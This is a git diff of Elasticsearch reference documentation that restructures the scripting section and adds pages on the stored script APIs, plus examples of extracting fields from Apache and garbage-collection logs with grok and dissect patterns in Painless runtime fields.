configuration: [source,js] -------------------------------------------------- @@ -39,7 +39,7 @@ based on which groups are potentially useful to future queries. For example, th Allows `date_histogram` to be used on the `"timestamp"` field, `terms` aggregations to be used on the `"hostname"` and `"datacenter"` fields, and `histograms` to be used on any of `"load"`, `"net_in"`, `"net_out"` fields. -Importantly, these aggs/fields can be used in any combination. This aggregation: +Importantly, these aggs/fields can be used in any combination. This aggregation: [source,js] -------------------------------------------------- @@ -100,8 +100,8 @@ is just as valid as this aggregation: You'll notice that the second aggregation is not only substantially larger, it also swapped the position of the terms aggregation on -`"hostname"`, illustrating how the order of aggregations does not matter to rollups. Similarly, while the `date_histogram` is required -for rolling up data, it isn't required while querying (although often used). For example, this is a valid aggregation for +`"hostname"`, illustrating how the order of aggregations does not matter to rollups. Similarly, while the `date_histogram` is required +for rolling up data, it isn't required while querying (although often used). For example, this is a valid aggregation for Rollup Search to execute: @@ -118,7 +118,7 @@ Rollup Search to execute: // NOTCONSOLE Ultimately, when configuring `groups` for a job, think in terms of how you might wish to partition data in a query at a future date... -then include those in the config. Because Rollup Search allows any order or combination of the grouped fields, you just need to decide +then include those in the config. Because Rollup Search allows any order or combination of the grouped fields, you just need to decide if a field is useful for aggregating later, and how you might wish to use it (terms, histogram, etc). [[rollup-understanding-group-intervals]] @@ -171,13 +171,13 @@ time in the future. ==== Grouping limitations with heterogeneous indices There was previously a limitation in how Rollup could handle indices that had heterogeneous mappings (multiple, unrelated/non-overlapping -mappings). The recommendation at the time was to configure a separate job per data "type". For example, you might configure a separate +mappings). The recommendation at the time was to configure a separate job per data "type". For example, you might configure a separate job for each Beats module that you had enabled (one for `process`, another for `filesystem`, etc). This recommendation was driven by internal implementation details that caused document counts to be potentially incorrect if a single "merged" job was used. -This limitation has since been alleviated. As of 6.4.0, it is now considered best practice to combine all rollup configurations +This limitation has since been alleviated. As of 6.4.0, it is now considered best practice to combine all rollup configurations into a single job. As an example, if your index has two types of documents: @@ -242,7 +242,7 @@ PUT _rollup/job/combined ==== Doc counts and overlapping jobs There was previously an issue with document counts on "overlapping" job configurations, driven by the same internal implementation detail. -If there were two Rollup jobs saving to the same index, where one job is a "subset" of another job, it was possible that document counts +If there were two Rollup jobs saving to the same index, where one job is a "subset" of another job, it was possible that document counts could be incorrect for certain aggregation arrangements. This issue has also since been eliminated in 6.4.0. diff --git a/docs/reference/scripting.asciidoc b/docs/reference/scripting.asciidoc index b081bd81c99e3..170d01512cacc 100644 --- a/docs/reference/scripting.asciidoc +++ b/docs/reference/scripting.asciidoc @@ -4,81 +4,61 @@ [partintro] -- With scripting, you can evaluate custom expressions in {es}. For example, you -could use a script to return "script fields" as part of a search request or -evaluate a custom score for a query. +can use a script to return a computed value as a field or evaluate a custom +score for a query. -The default scripting language is <>. -Additional `lang` plugins enable you to run scripts written in other languages. -Everywhere a script can be used, you can include a `lang` parameter -to specify the language of the script. +The default scripting language is <>. +Additional `lang` plugins are available to run scripts written in other +languages. You can specify the language of the script anywhere that scripts run. [discrete] -== General-purpose languages +[[scripting-available-languages]] +== Available scripting languages -These languages can be used for any purpose in the scripting APIs, -and give the most flexibility. - -[cols="<,<,<",options="header",] -|======================================================================= -|Language - |Sandboxed - |Required plugin - -|<> - |yes - |built-in - -|======================================================================= - -[discrete] -== Special-purpose languages - -These languages are less flexible, but typically have higher performance for -certain tasks. +Painless is purpose-built for {es}, can be used for any purpose in the +scripting APIs, and provides the most flexibility. The other languages are less +flexible, but can be useful for specific purposes. [cols="<,<,<,<",options="header",] -|======================================================================= +|======== |Language |Sandboxed |Required plugin |Purpose +|<> + |{yes-icon} + |Built-in + |Purpose-built for {es} + |<> - |yes - |built-in - |fast custom ranking and sorting + |{yes-icon} + |Built-in + |Fast custom ranking and sorting |<> - |yes - |built-in - |templates + |{yes-icon} + |Built-in + |Templates |<> - |n/a - |you write it! - |expert API - -|======================================================================= - -[WARNING] -.Scripts and security -================================================= + |{no-icon} + |You write it! + |Expert API +|======== -Languages that are sandboxed are designed with security in mind. However, non- -sandboxed languages can be a security issue, please read -<> for more details. - -================================================= -- +include::scripting/painless.asciidoc[] + include::scripting/using.asciidoc[] +include::scripting/common-script-uses.asciidoc[] + include::scripting/fields.asciidoc[] include::scripting/security.asciidoc[] -include::scripting/painless.asciidoc[] - include::scripting/expression.asciidoc[] include::scripting/engine.asciidoc[] diff --git a/docs/reference/scripting/apis/create-stored-script-api.asciidoc b/docs/reference/scripting/apis/create-stored-script-api.asciidoc new file mode 100644 index 0000000000000..782597781fc8d --- /dev/null +++ b/docs/reference/scripting/apis/create-stored-script-api.asciidoc @@ -0,0 +1,115 @@ +[[create-stored-script-api]] +=== Create or update stored script API +++++ +Create or update stored script +++++ + +Creates or updates a <> or +<>. + +[source,console] +---- +PUT _scripts/my-stored-script +{ + "script": { + "lang": "painless", + "source": """ + TimestampHour date = doc['@timestamp'].value; + return date.getHour() + """ + } +} +---- + +[[create-stored-script-api-request]] +==== {api-request-title} + +`PUT _scripts/` + +`POST _scripts/` + +`PUT _scripts//` + +`POST _scripts//` + +[[create-stored-script-api-prereqs]] +==== {api-prereq-title} + +* If the {es} {security-features} are enabled, you must have the `manage` +<> to use this API. + +[[create-stored-script-api-path-params]] +==== {api-path-parms-title} + +``:: +(Required, string) +Identifier for the stored script or search template. Must be unique within the +cluster. + +``:: +(Optional, string) +Context in which the script or search template should run. To prevent errors, +the API immediately compiles the script or template in this context. + +[[create-stored-script-api-query-params]] +==== {api-query-parms-title} + +`context`:: +(Optional, string) +Context in which the script or search template should run. To prevent errors, +the API immediately compiles the script or template in this context. ++ +If you specify both this and the `` request path parameter, the API +uses the request path parameter. + +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms] + +[role="child_attributes"] +[[create-stored-script-api-request-body]] +==== {api-request-body-title} + +`script`:: +(Required, object) +Contains the script or search template, its parameters, and its language. ++ +.Properties of `script` +[%collapsible%open] +==== +`lang`:: +(Required, string) +<>. For search templates, use +`mustache`. + +`source`:: +(Required, string or object) +Script or search template. + +`params`:: +(Optional, object) +Parameters for the script or search template. +==== + +[[create-stored-script-api-example]] +==== {api-examples-title} + +The following request stores a search template. Search templates must use a +`lang` of `mustache`. + +[source,console] +---- +PUT _scripts/my-search-template +{ + "script": { + "lang": "mustache", + "source": { + "from": "{{from}}{{^from}}0{{/from}}", + "size": "{{size}}{{^size}}10{{/size}}", + "query": { + "match": { + "content": "{{query_string}}" + } + } + } + } +} +---- diff --git a/docs/reference/scripting/apis/delete-stored-script-api.asciidoc b/docs/reference/scripting/apis/delete-stored-script-api.asciidoc new file mode 100644 index 0000000000000..0678956fe4495 --- /dev/null +++ b/docs/reference/scripting/apis/delete-stored-script-api.asciidoc @@ -0,0 +1,48 @@ +[[delete-stored-script-api]] +=== Delete stored script API +++++ +Delete stored script +++++ + +Deletes a <> or <>. + +//// +[source,console] +---- +PUT _scripts/my-stored-script +{ + "script": { + "lang": "painless", + "source": """ + TimestampHour date = doc['@timestamp'].value; + return date.getHour() + """ + } +} +---- +//// + +[source,console] +---- +DELETE _scripts/my-stored-script +---- +// TEST[continued] + +[[delete-stored-script-api-prereqs]] +==== {api-prereq-title} + +* If the {es} {security-features} are enabled, you must have the `manage` +<> to use this API. + +[[delete-stored-script-api-path-params]] +==== {api-path-parms-title} + +``:: +(Required, string) +Identifier for the stored script or search template. + +[[delete-stored-script-api-query-params]] +==== {api-query-parms-title} + +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms] diff --git a/docs/reference/scripting/apis/get-script-contexts-api.asciidoc b/docs/reference/scripting/apis/get-script-contexts-api.asciidoc new file mode 100644 index 0000000000000..ca24c97e494ee --- /dev/null +++ b/docs/reference/scripting/apis/get-script-contexts-api.asciidoc @@ -0,0 +1,23 @@ +[[get-script-contexts-api]] +=== Get script contexts API +++++ +Get script contexts +++++ + +Retrieves a list of supported script contexts and their methods. + +[source,console] +---- +GET _script_context +---- + +[[get-script-contexts-api-request]] +==== {api-request-title} + +`GET _script_context` + +[[get-script-contexts-api-prereqs]] +==== {api-prereq-title} + +* If the {es} {security-features} are enabled, you must have the `manage` +<> to use this API. diff --git a/docs/reference/scripting/apis/get-script-languages-api.asciidoc b/docs/reference/scripting/apis/get-script-languages-api.asciidoc new file mode 100644 index 0000000000000..dd5935bc4dcd8 --- /dev/null +++ b/docs/reference/scripting/apis/get-script-languages-api.asciidoc @@ -0,0 +1,24 @@ +[[get-script-languages-api]] +=== Get script languages API +++++ +Get script languages +++++ + +Retrieves a list of supported <> +and their contexts. + +[source,console] +---- +GET _script_language +---- + +[[get-script-languages-api-request]] +==== {api-request-title} + +`GET _script_language` + +[[get-script-languages-api-prereqs]] +==== {api-prereq-title} + +* If the {es} {security-features} are enabled, you must have the `manage` +<> to use this API. diff --git a/docs/reference/scripting/apis/get-stored-script-api.asciidoc b/docs/reference/scripting/apis/get-stored-script-api.asciidoc new file mode 100644 index 0000000000000..6b0f32a322810 --- /dev/null +++ b/docs/reference/scripting/apis/get-stored-script-api.asciidoc @@ -0,0 +1,53 @@ +[[get-stored-script-api]] +=== Get stored script API +++++ +Get stored script +++++ + +Retrieves a <> or <>. + +//// +[source,console] +---- +PUT _scripts/my-stored-script +{ + "script": { + "lang": "painless", + "source": """ + TimestampHour date = doc['@timestamp'].value; + return date.getHour() + """ + } +} +---- +//// + +[source,console] +---- +GET _scripts/my-stored-script +---- +// TEST[continued] + +[[get-stored-script-api-request]] +==== {api-request-title} + +`GET _script/` + +[[get-stored-script-api-prereqs]] +==== {api-prereq-title} + +* If the {es} {security-features} are enabled, you must have the `manage` +<> to use this API. + +[[get-stored-script-api-path-params]] +==== {api-path-parms-title} + +``:: +(Required, string) +Identifier for the stored script or search template. + +[[get-stored-script-api-query-params]] +==== {api-query-parms-title} + +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout] diff --git a/docs/reference/scripting/apis/script-apis.asciidoc b/docs/reference/scripting/apis/script-apis.asciidoc new file mode 100644 index 0000000000000..e344cb00ee6fe --- /dev/null +++ b/docs/reference/scripting/apis/script-apis.asciidoc @@ -0,0 +1,40 @@ +[[script-apis]] +== Script APIs + +Use the following APIs to manage, store, and test your +<>. + +[discrete] +[[script-support-apis]] +=== Script support APIs + +Use the script support APIs to get a list of supported script contexts and +languages. + +* <> +* <> + +[discrete] +[[stored-script-apis]] +=== Stored script APIs + +Use the stored script APIs to manage <> and +<>. + +* <> +* <> +* <> + +[discrete] +[[painless-apis]] +=== Painless APIs + +Use the {painless}/painless-execute-api.html[Painless execute API] to safely +test Painless scripts before using them in production. + + +include::create-stored-script-api.asciidoc[] +include::delete-stored-script-api.asciidoc[] +include::get-script-contexts-api.asciidoc[] +include::get-script-languages-api.asciidoc[] +include::get-stored-script-api.asciidoc[] diff --git a/docs/reference/scripting/common-script-uses.asciidoc b/docs/reference/scripting/common-script-uses.asciidoc new file mode 100644 index 0000000000000..2a265291a98ce --- /dev/null +++ b/docs/reference/scripting/common-script-uses.asciidoc @@ -0,0 +1,421 @@ +[[common-script-uses]] +== Common scripting use cases +You can write a script to do almost anything, and sometimes, that's +the trouble. It's challenging to know what's possible with scripts, +so the following examples address common uses cases where scripts are +really helpful. + +* <> + +[[scripting-field-extraction]] +=== Field extraction +The goal of field extraction is simple; you have fields in your data with a bunch of +information, but you only want to extract pieces and parts. + +There are two options at your disposal: + +* <> is a regular expression dialect that supports aliased +expressions that you can reuse. Because Grok sits on top of regular expressions +(regex), any regular expressions are valid in grok as well. +* <> extracts structured fields out of text, using +delimiters to define the matching pattern. Unlike grok, dissect doesn't use regular +expressions. + +Let's start with a simple example by adding the `@timestamp` and `message` +fields to the `my-index` mapping as indexed fields. To remain flexible, use +`wildcard` as the field type for `message`: + +[source,console] +---- +PUT /my-index/ +{ + "mappings": { + "properties": { + "@timestamp": { + "format": "strict_date_optional_time||epoch_second", + "type": "date" + }, + "message": { + "type": "wildcard" + } + } + } +} +---- + +After mapping the fields you want to retrieve, index a few records from +your log data into {es}. The following request uses the <> +to index raw log data into `my-index`. Instead of indexing all of your log +data, you can use a small sample to experiment with runtime fields. + +[source,console] +---- +POST /my-index/_bulk?refresh +{"index":{}} +{"timestamp":"2020-04-30T14:30:17-05:00","message":"40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:30:53-05:00","message":"232.0.0.0 - - [30/Apr/2020:14:30:53 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:12-05:00","message":"26.1.0.0 - - [30/Apr/2020:14:31:12 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:19-05:00","message":"247.37.0.0 - - [30/Apr/2020:14:31:19 -0500] \"GET /french/splash_inet.html HTTP/1.0\" 200 3781"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:22-05:00","message":"247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:27-05:00","message":"252.0.0.0 - - [30/Apr/2020:14:31:27 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:28-05:00","message":"not a valid apache log"} +---- +// TEST[continued] + +[discrete] +[[field-extraction-ip]] +==== Extract an IP address from a log message (Grok) +If you want to retrieve results that include `clientip`, you can add that +field as a runtime field in the mapping. The following runtime script defines a +grok pattern that extracts structured fields out of the `message` field. + +The script matches on the `%{COMMONAPACHELOG}` log pattern, which understands +the structure of Apache logs. If the pattern matches, the script emits the +value matching the IP address. If the pattern doesn't match +(`clientip != null`), the script just returns the field value without crashing. + +[source,console] +---- +PUT my-index/_mappings +{ + "runtime": { + "http.clientip": { + "type": "ip", + "script": """ + String clientip=grok('%{COMMONAPACHELOG}').extract(doc["message"].value)?.clientip; + if (clientip != null) emit(clientip); <1> + """ + } + } +} +---- +// TEST[continued] +<1> This condition ensures that the script doesn't emit anything even if the pattern of +the message doesn't match. + +You can define a simple query to run a search for a specific IP address and +return all related fields. Use the `fields` parameter of the search API to +retrieve the `http.clientip` runtime field. + +[source,console] +---- +GET my-index/_search +{ + "query": { + "match": { + "http.clientip": "40.135.0.0" + } + }, + "fields" : ["http.clientip"] +} +---- +// TEST[continued] +// TEST[s/_search/_search\?filter_path=hits/] + +The response includes documents where the value for `http.clientip` matches +`40.135.0.0`. + +[source,console-result] +---- +{ + "hits" : { + "total" : { + "value" : 1, + "relation" : "eq" + }, + "max_score" : 1.0, + "hits" : [ + { + "_index" : "my-index", + "_id" : "Rq-ex3gBA_A0V6dYGLQ7", + "_score" : 1.0, + "_source" : { + "timestamp" : "2020-04-30T14:30:17-05:00", + "message" : "40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736" + }, + "fields" : { + "http.clientip" : [ + "40.135.0.0" + ] + } + } + ] + } +} +---- +// TESTRESPONSE[s/"_id" : "Rq-ex3gBA_A0V6dYGLQ7"/"_id": $body.hits.hits.0._id/] + +[discrete] +[[field-extraction-parse]] +==== Parse a string to extract part of a field (Dissect) +Instead of matching on a log pattern like in the <>, you can just define a dissect pattern to include the parts of the string +that you want to discard. + +For example, the log data at the start of this section includes a `message` +field. This field contains several pieces of data: + +[source,js] +---- +"message" : "247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0" +---- +// NOTCONSOLE + +You can define a dissect pattern in a runtime field to extract the https://developer.mozilla.org/en-US/docs/Web/HTTP/Status[HTTP response code], which is +`304` in the previous example. + +[source,console] +---- +PUT my-index/_mappings +{ + "runtime": { + "http.response": { + "type": "long", + "script": """ + String response=dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] "%{verb} %{request} HTTP/%{httpversion}" %{response} %{size}').extract(doc["message"].value)?.response; + if (response != null) emit(Integer.parseInt(response)); + """ + } + } +} +---- +// TEST[continued] + +You can then run a query to retrieve a specific HTTP response using the +`http.response` runtime field: + +[source,console] +---- +GET my-index/_search +{ + "query": { + "match": { + "http.response": "304" + } + }, + "fields" : ["http.response"] +} +---- +// TEST[continued] +// TEST[s/_search/_search\?filter_path=hits/] + +The response includes a single document where the HTTP response is `304`: + +[source,console-result] +---- +{ + "hits" : { + "total" : { + "value" : 1, + "relation" : "eq" + }, + "max_score" : 1.0, + "hits" : [ + { + "_index" : "my-index", + "_id" : "Sq-ex3gBA_A0V6dYGLQ7", + "_score" : 1.0, + "_source" : { + "timestamp" : "2020-04-30T14:31:22-05:00", + "message" : "247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0" + }, + "fields" : { + "http.response" : [ + 304 + ] + } + } + ] + } +} +---- +// TESTRESPONSE[s/"_id" : "Sq-ex3gBA_A0V6dYGLQ7"/"_id": $body.hits.hits.0._id/] + +[discrete] +[[field-extraction-split]] +==== Split values in a field by a separator (Dissect) +Let's say you want to extract part of a field like in the previous example, but you +want to split on specific values. You can use a dissect pattern to extract only the +information that you want, and also return that data in a specific format. + +For example, let's say you have a bunch of garbage collection (gc) log data from {es} +in this format: + +[source,txt] +---- +[2021-04-27T16:16:34.699+0000][82460][gc,heap,exit] class space used 266K, capacity 384K, committed 384K, reserved 1048576K +---- +// NOTCONSOLE + +You only want to extract the `used`, `capacity`, and `committed` data, along with +the associated values. Let's index some a few documents containing log data to use as +an example: + +[source,console] +---- +POST /my-index/_bulk?refresh +{"index":{}} +{"gc": "[2021-04-27T16:16:34.699+0000][82460][gc,heap,exit] class space used 266K, capacity 384K, committed 384K, reserved 1048576K"} +{"index":{}} +{"gc": "[2021-03-24T20:27:24.184+0000][90239][gc,heap,exit] class space used 15255K, capacity 16726K, committed 16844K, reserved 1048576K"} +{"index":{}} +{"gc": "[2021-03-24T20:27:24.184+0000][90239][gc,heap,exit] Metaspace used 115409K, capacity 119541K, committed 120248K, reserved 1153024K"} +{"index":{}} +{"gc": "[2021-04-19T15:03:21.735+0000][84408][gc,heap,exit] class space used 14503K, capacity 15894K, committed 15948K, reserved 1048576K"} +{"index":{}} +{"gc": "[2021-04-19T15:03:21.735+0000][84408][gc,heap,exit] Metaspace used 107719K, capacity 111775K, committed 112724K, reserved 1146880K"} +{"index":{}} +{"gc": "[2021-04-27T16:16:34.699+0000][82460][gc,heap,exit] class space used 266K, capacity 367K, committed 384K, reserved 1048576K"} +---- + +Looking at the data again, there's a timestamp, some other data that you're not +interested in, and then the `used`, `capacity`, and `committed` data: + +[source,txt] +---- +[2021-04-27T16:16:34.699+0000][82460][gc,heap,exit] class space used 266K, capacity 384K, committed 384K, reserved 1048576K +---- + +You can assign variables to each part of the data in the `gc` field, and then return +only the parts that you want. Anything in curly braces `{}` is considered a variable. +For example, the variables `[%{@timestamp}][%{code}][%{desc}]` will match the first +three chunks of data, all of which are in square brackets `[]`. + +[source,txt] +---- +[%{@timestamp}][%{code}][%{desc}] %{ident} used %{usize}, capacity %{csize}, committed %{comsize}, reserved %{rsize} +---- + +Your dissect pattern can include the terms `used`, `capacity`, and `committed` instead +of using variables, because you want to return those terms exactly. You also assign +variables to the values you want to return, such as `%{usize}`, `%{csize}`, and +`%{comsize}`. The separator in the log data is a comma, so your dissect pattern also +needs to use that separator. + +Now that you have a dissect pattern, you can include it in a Painless script as part +of a runtime field. The script uses your dissect pattern to split apart the `gc` +field, and then returns exactly the information that you want as defined by the +`emit` method. Because dissect uses simple syntax, you just need to tell it exactly +what you want. + +The following pattern tells dissect to return the term `used`, a blank space, the value +from `gc.usize`, and a comma. This pattern repeats for the other data that you +want to retrieve. While this pattern might not be as useful in production, it provides +a lot of flexibility to experiment with and manipulate your data. In a production +setting, you might just want to use `emit(gc.usize)` and then aggregate on that value +or use it in computations. + +[source,painless] +---- +emit("used" + ' ' + gc.usize + ', ' + "capacity" + ' ' + gc.csize + ', ' + "committed" + ' ' + gc.comsize) +---- + +Putting it all together, you can create a runtime field named `gc_size` in a search +request. Using the <>, you can retrieve all values +for the `gc_size` runtime field. This query also includes a bucket aggregation to group +your data. + +[source,console] +---- +GET my-index/_search +{ + "runtime_mappings": { + "gc_size": { + "type": "keyword", + "script": """ + Map gc=dissect('[%{@timestamp}][%{code}][%{desc}] %{ident} used %{usize}, capacity %{csize}, committed %{comsize}, reserved %{rsize}').extract(doc["gc.keyword"].value); + if (gc != null) emit("used" + ' ' + gc.usize + ', ' + "capacity" + ' ' + gc.csize + ', ' + "committed" + ' ' + gc.comsize); + """ + } + }, + "size": 1, + "aggs": { + "sizes": { + "terms": { + "field": "gc_size", + "size": 10 + } + } + }, + "fields" : ["gc_size"] +} +---- +// TEST[continued] + +The response includes the data from the `gc_size` field, formatted exactly as you +defined it in the dissect pattern! + +[source,console-result] +---- +{ + "took" : 2, + "timed_out" : false, + "_shards" : { + "total" : 1, + "successful" : 1, + "skipped" : 0, + "failed" : 0 + }, + "hits" : { + "total" : { + "value" : 6, + "relation" : "eq" + }, + "max_score" : 1.0, + "hits" : [ + { + "_index" : "my-index", + "_id" : "GXx3H3kBKGE42WRNlddJ", + "_score" : 1.0, + "_source" : { + "gc" : "[2021-04-27T16:16:34.699+0000][82460][gc,heap,exit] class space used 266K, capacity 384K, committed 384K, reserved 1048576K" + }, + "fields" : { + "gc_size" : [ + "used 266K, capacity 384K, committed 384K" + ] + } + } + ] + }, + "aggregations" : { + "sizes" : { + "doc_count_error_upper_bound" : 0, + "sum_other_doc_count" : 0, + "buckets" : [ + { + "key" : "used 107719K, capacity 111775K, committed 112724K", + "doc_count" : 1 + }, + { + "key" : "used 115409K, capacity 119541K, committed 120248K", + "doc_count" : 1 + }, + { + "key" : "used 14503K, capacity 15894K, committed 15948K", + "doc_count" : 1 + }, + { + "key" : "used 15255K, capacity 16726K, committed 16844K", + "doc_count" : 1 + }, + { + "key" : "used 266K, capacity 367K, committed 384K", + "doc_count" : 1 + }, + { + "key" : "used 266K, capacity 384K, committed 384K", + "doc_count" : 1 + } + ] + } + } +} +---- +// TESTRESPONSE[s/"took" : 2/"took": "$body.took"/] +// TESTRESPONSE[s/"_id" : "GXx3H3kBKGE42WRNlddJ"/"_id": $body.hits.hits.0._id/] \ No newline at end of file diff --git a/docs/reference/scripting/dissect-syntax.asciidoc b/docs/reference/scripting/dissect-syntax.asciidoc new file mode 100644 index 0000000000000..09d263f69f868 --- /dev/null +++ b/docs/reference/scripting/dissect-syntax.asciidoc @@ -0,0 +1,301 @@ +[[dissect]] +=== Dissecting data +Dissect matches a single text field against a defined pattern. A dissect +pattern is defined by the parts of the string you want to discard. Paying +special attention to each part of a string helps to build successful dissect +patterns. + +If you don't need the power of regular expressions, use dissect patterns instead +of grok. Dissect uses a much simpler syntax than grok and is typically faster +overall. The syntax for dissect is transparent: tell dissect what you want and +it will return those results to you. + +[[dissect-syntax]] +==== Dissect patterns +Dissect patterns are comprised of _variables_ and _separators_. Anything +defined by a percent sign and curly braces `%{}` is considered a variable, +such as `%{clientip}`. You can assign variables to any part of data in a field, +and then return only the parts that you want. Separators are any values between +variables, which could be spaces, dashes, or other delimiters. + +For example, let's say you have log data with a `message` field that looks like +this: + +[source,js] +---- +"message" : "247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0" +---- +// NOTCONSOLE + +You assign variables to each part of the data to construct a successful +dissect pattern. Remember, tell dissect _exactly_ what you want you want to +match on. + +The first part of the data looks like an IP address, so you +can assign a variable like `%{clientip}`. The next two characters are dashes +with a space on either side. You can assign a variable for each dash, or a +single variable to represent the dashes and spaces. Next are a set of brackets +containing a timestamp. The brackets are a separator, so you include those in +the dissect pattern. Thus far, the data and matching dissect pattern look like +this: + +[source,js] +---- +247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] <1> + +%{clientip} %{ident} %{auth} [%{@timestamp}] <2> +---- +// NOTCONSOLE +<1> The first chunks of data from the `message` field +<2> Dissect pattern to match on the selected data chunks + +Using that same logic, you can create variables for the remaining chunks of +data. Double quotation marks are separators, so include those in your dissect +pattern. The pattern replaces `GET` with a `%{verb}` variable, but keeps `HTTP` +as part of the pattern. + +[source,js] +---- +\"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0 + +"%{verb} %{request} HTTP/%{httpversion}" %{response} %{size} +---- +// NOTCONSOLE + +Combining the two patterns results in a dissect pattern that looks like this: + +[source,js] +---- +%{clientip} %{ident} %{auth} [%{@timestamp}] \"%{verb} %{request} HTTP/%{httpversion}\" %{status} %{size} +---- +// NOTCONSOLE + +Now that you have a dissect pattern, how do you test and use it? + +[[dissect-patterns-test]] +==== Test dissect patterns with Painless +You can incorporate dissect patterns into Painless scripts to extract +data. To test your script, use either the {painless}/painless-execute-api.html#painless-execute-runtime-field-context[field contexts] of the Painless +execute API or create a runtime field that includes the script. Runtime fields +offer greater flexibility and accept multiple documents, but the Painless execute +API is a great option if you don't have write access on a cluster where you're +testing a script. + +For example, test your dissect pattern with the Painless execute API by +including your Painless script and a single document that matches your data. +Start by indexing the `message` field as a `wildcard` data type: + +[source,console] +---- +PUT my-index +{ + "mappings": { + "properties": { + "message": { + "type": "wildcard" + } + } + } +} +---- + +If you want to retrieve the HTTP response code, add your dissect pattern to a +Painless script that extracts the `response` value. To extract values from a +field, use this function: + +[source,painless] +---- +`.extract(doc[""].value)?.` +---- + +In this example, `message` is the `` and `response` is the +``: + +[source,console] +---- +POST /_scripts/painless/_execute +{ + "script": { + "source": """ + String response=dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] "%{verb} %{request} HTTP/%{httpversion}" %{response} %{size}').extract(doc["message"].value)?.response; + if (response != null) emit(Integer.parseInt(response)); <1> + """ + }, + "context": "long_field", <2> + "context_setup": { + "index": "my-index", + "document": { <3> + "message": """247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] "GET /images/hm_nbg.jpg HTTP/1.0" 304 0""" + } + } +} +---- +// TEST[continued] +<1> Runtime fields require the `emit` method to return values. +<2> Because the response code is an integer, use the `long_field` context. +<3> Include a sample document that matches your data. + +The result includes the HTTP response code: + +[source,console-result] +---- +{ + "result" : [ + 304 + ] +} +---- + +[[dissect-patterns-runtime]] +==== Use dissect patterns and scripts in runtime fields +If you have a functional dissect pattern, you can add it to a runtime field to +manipulate data. Because runtime fields don't require you to index fields, you +have incredible flexibility to modify your script and how it functions. If you +already <> using the Painless +execute API, you can use that _exact_ Painless script in your runtime field. + +To start, add the `message` field as a `wildcard` type like in the previous +section, but also add `@timestamp` as a `date` in case you want to operate on +that field for <>: + +[source,console] +---- +PUT /my-index/ +{ + "mappings": { + "properties": { + "@timestamp": { + "format": "strict_date_optional_time||epoch_second", + "type": "date" + }, + "message": { + "type": "wildcard" + } + } + } +} +---- + +If you want to extract the HTTP response code using your dissect pattern, you +can create a runtime field like `http.response`: + +[source,console] +---- +PUT my-index/_mappings +{ + "runtime": { + "http.response": { + "type": "long", + "script": """ + String response=dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] "%{verb} %{request} HTTP/%{httpversion}" %{response} %{size}').extract(doc["message"].value)?.response; + if (response != null) emit(Integer.parseInt(response)); + """ + } + } +} +---- +// TEST[continued] + +After mapping the fields you want to retrieve, index a few records from +your log data into {es}. The following request uses the <> +to index raw log data into `my-index`: + +[source,console] +---- +POST /my-index/_bulk?refresh=true +{"index":{}} +{"timestamp":"2020-04-30T14:30:17-05:00","message":"40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:30:53-05:00","message":"232.0.0.0 - - [30/Apr/2020:14:30:53 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:12-05:00","message":"26.1.0.0 - - [30/Apr/2020:14:31:12 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:19-05:00","message":"247.37.0.0 - - [30/Apr/2020:14:31:19 -0500] \"GET /french/splash_inet.html HTTP/1.0\" 200 3781"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:22-05:00","message":"247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:27-05:00","message":"252.0.0.0 - - [30/Apr/2020:14:31:27 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:28-05:00","message":"not a valid apache log"} +---- +// TEST[continued] + +You can define a simple query to run a search for a specific HTTP response and +return all related fields. Use the `fields` parameter of the search API to +retrieve the `http.response` runtime field. + +[source,console] +---- +GET my-index/_search +{ + "query": { + "match": { + "http.response": "304" + } + }, + "fields" : ["http.response"] +} +---- +// TEST[continued] + +Alternatively, you can define the same runtime field but in the context of a +search request. The runtime definition and the script are exactly the same as +the one defined previously in the index mapping. Just copy that definition into +the search request under the `runtime_mappings` section and include a query +that matches on the runtime field. This query returns the same results as the +search query previously defined for the `http.response` runtime field in your +index mappings, but only in the context of this specific search: + +[source,console] +---- +GET my-index/_search +{ + "runtime_mappings": { + "http.response": { + "type": "long", + "script": """ + String response=dissect('%{clientip} %{ident} %{auth} [%{@timestamp}] "%{verb} %{request} HTTP/%{httpversion}" %{response} %{size}').extract(doc["message"].value)?.response; + if (response != null) 